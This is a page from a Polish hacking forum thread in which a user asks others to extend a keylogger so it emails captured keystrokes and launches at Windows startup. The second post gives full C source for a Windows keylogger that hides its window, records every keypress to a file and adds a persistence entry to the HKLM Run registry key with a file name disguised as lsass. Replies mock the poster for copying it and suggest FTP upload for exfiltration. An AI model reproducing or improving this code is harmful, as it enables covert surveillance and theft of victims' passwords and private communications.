Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki 1 do 10 z 15

Temat: Keylogger

  1. #1

    Exclamation Keylogger

    Mam wielka prosbe czy mozecie poprawic/dodac do mojego keyloggera by wysyłał to na mail i zeby automatycznie wlaczal sie przyuruchomieniu windowsa

  2. #2

    Domyślnie

    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>

    #define BUFSIZE 80

    int test_key(void);
    int create_key(char *);
    int get_keys(void);

    int main(void)
    {
    HWND stealth; // Creating stealth (window is not visible).
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);

    int test,create;
    test=test_key(); // Check if key is available for opening.

    if (test==2) // Create key.
    {
    char *path="C:\\WINDOWS\\system32\\lsass.txt"; // The path in which the file needs to be.
    create=create_key(path);

    }


    int t=get_keys();

    return t;
    }

    int get_keys(void)
    {
    short character;
    while(1)
    {
    Sleep(10); // To prevent 100% CPU usage.
    for(character=8;character<=222;character++)
    {
    if(GetAsyncKeyState(character)==-32767)
    {

    FILE *file;
    file=fopen("lol.log","a+");
    if(file==NULL)
    {
    return 1;
    }
    if(file!=NULL)
    {
    if((character>=39)&&(character<=64))
    {
    fputc(character,file);
    fclose(file);
    break;
    }
    else if((character>64)&&(character<91))
    {
    character+=32;
    fputc(character,file);
    fclose(file);
    break;
    }
    else
    {
    switch(character)
    {
    case VK_SPACE:
    fputc(' ',file);
    fclose(file);
    break;
    case VK_SHIFT:
    fputs("[SHIFT]",file);
    fclose(file);
    break;
    case VK_RETURN:
    fputs("\n[ENTER]",file);
    fclose(file);
    break;
    case VK_BACK:
    fputs("[BACKSPACE]",file);
    fclose(file);
    break;
    case VK_TAB:
    fputs("[TAB]",file);
    fclose(file);
    break;
    case VK_CONTROL:
    fputs("[CTRL]",file);
    fclose(file);
    break;
    case VK_DELETE:
    fputs("[DEL]",file);
    fclose(file);
    break;
    case VK_OEM_1:
    fputs("[;:]",file);
    fclose(file);
    break;
    case VK_OEM_2:
    fputs("[/?]",file);
    fclose(file);
    break;
    case VK_OEM_3:
    fputs("ö",file);
    fclose(file);
    break;
    case VK_OEM_4:
    fputs("[ [{ ]",file);
    fclose(file);
    break;
    case VK_OEM_5:
    fputs("[\\|]",file);
    fclose(file);
    break;
    case VK_OEM_6:
    fputs("a*",file);
    fclose(file);
    break;
    case VK_OEM_7:
    fputs("ä",file);
    fclose(file);
    break;
    /* case VK_OEM_PLUS:
    fputc('+',file);
    fclose(file);
    break;
    case VK_OEM_COMMA:
    fputc(',',file);
    fclose(file);
    break;
    case VK_OEM_MINUS:
    fputc('-',file);
    fclose(file);
    break;
    case VK_OEM_PERIOD:
    fputc('.',file);
    fclose(file);
    break; */
    case VK_NUMPAD0:
    fputc('0',file);
    fclose(file);
    break;
    case VK_NUMPAD1:
    fputc('1',file);
    fclose(file);
    break;
    case VK_NUMPAD2:
    fputc('2',file);
    fclose(file);
    break;
    case VK_NUMPAD3:
    fputc('3',file);
    fclose(file);
    break;
    case VK_NUMPAD4:
    fputc('4',file);
    fclose(file);
    break;
    case VK_NUMPAD5:
    fputc('5',file);
    fclose(file);
    break;
    case VK_NUMPAD6:
    fputc('6',file);
    fclose(file);
    break;
    case VK_NUMPAD7:
    fputc('7',file);
    fclose(file);
    break;
    case VK_NUMPAD8:
    fputc('8',file);
    fclose(file);
    break;
    case VK_NUMPAD9:
    fputc('9',file);
    fclose(file);
    break;
    case VK_CAPITAL:
    fputs("[CAPS LOCK]",file);
    fclose(file);
    break;
    default:
    fclose(file);
    break;
    }
    }
    }
    }
    }

    }
    return EXIT_SUCCESS;
    }

    int test_key(void)
    {
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QU ERY_VALUE,&hKey);
    if(reg_key!=0)
    {
    check=1;
    return check;
    }

    reg_key=RegQueryValueEx(hKey,"",NULL,NULL,(LPBYTE) path,&buf_length);

    if((reg_key!=0)||(buf_length>BUFSIZE))
    check=2;
    if(reg_key==0)
    check=0;

    RegCloseKey(hKey);
    return check;
    }

    int create_key(char *path)
    {
    int reg_key,check;

    HKEY hkey;

    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
    if(reg_key==0)
    {
    RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path));
    check=0;
    return check;
    }
    if(reg_key!=0)
    check=1;

    return check;
    }

  3. #3
    Zarejestrowany
    Dec 2006
    Skąd
    Przed monitorem ;d
    Postów
    61

    Domyślnie

    Przecież widać, że to gotowiec, więc nie mów, że to twój keylogger...

  4. #4

    Domyślnie

    jakos trzeba bylo napisac ale do rzeczy czy mozecie go udoskonalic by przynajmniej wysylal to na moj mail ale rowniez przydalo by sie to zeby sie uruchamial sam po wlaczeniu windowsa

  5. #5
    Zarejestrowany
    Dec 2006
    Skąd
    polsza
    Postów
    747

    Domyślnie

    http://www.darkmindz.com/

    nie twój I HU*a nas nie rob

  6. #6
    Zarejestrowany
    Jul 2006
    Skąd
    Łódź
    Postów
    249

    Thumbs down

    zerzniete zywcem z netu
    tak bezczelnie ze nawet zostawiles komenty orginalne
    ale on i tak nie zadziala bo zmieniles rozszerzenie pliku na txt
    Pozdrawiam

  7. #7

    Domyślnie

    Cytat Napisał Hekko Zobacz post
    zerzniete zywcem z netu
    tak bezczelnie ze nawet zostawiles komenty orginalne
    ale on i tak nie zadziala bo zmieniles rozszerzenie pliku na txt
    No No widac ze sie kolega na keyloggerach nie zna ale kurde pomozcie a nie

  8. #8
    Zarejestrowany
    Jul 2006
    Skąd
    Łódź
    Postów
    249

    Thumbs down

    pomyleczka, nie przyjrzalem sie sprawdzanie czy da sie pisac w rejestrze ofcoz
    szukaj dalej bo ja juz znalazlem skad to zerznales i jest wysylanie na mejla
    Pozdrawiam

  9. #9

    Domyślnie

    pliska podasz Bo ja szukalem i nic nie znalazlem ;/

  10. #10
    Zarejestrowany
    Jan 2008
    Postów
    278

    Domyślnie

    Kodzik troszkę uszkodzony , poprawianie go to kwestia 2-3 minut .W sumie to wątpię
    aby ktoś dał gotowego gotowca( to nawet lepiej).
    Heh można by było zrobić upload na FTP . Jak by to powiedział ślepy koń wyścigowy : " Nie widzę przeszkód "

    ja juz znalazlem skad to zerznales i jest wysylanie na mejla
    Czytałem kiedyś tego arta

    Pozdrawiam VLN.
    Kod php:
    $zmienna $_POST['COS']; 
    Zamiast tego :
    Kod php:
    $zmienna htmlspecialchars($_POST['COS']); 
    I mamy zabezpieczenie przed XSS

Strona 1 z 2 12 OstatniOstatni

Podobne wątki

  1. Keylogger
    By piternet in forum Newbie - dla początkujących!
    Odpowiedzi: 6
    Autor: 03-31-2008, 12:44
  2. Keylogger
    By Nathaniel in forum Newbie - dla początkujących!
    Odpowiedzi: 7
    Autor: 01-25-2008, 02:24
  3. KeyLogger...
    By Purpen in forum Wirusy/Konie trojańskie
    Odpowiedzi: 7
    Autor: 01-05-2008, 14:45
  4. keylogger
    By sasi in forum Newbie - dla początkujących!
    Odpowiedzi: 1
    Autor: 06-06-2007, 16:50
  5. Keylogger
    By Sufler in forum Hacking
    Odpowiedzi: 11
    Autor: 05-22-2007, 21:51

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj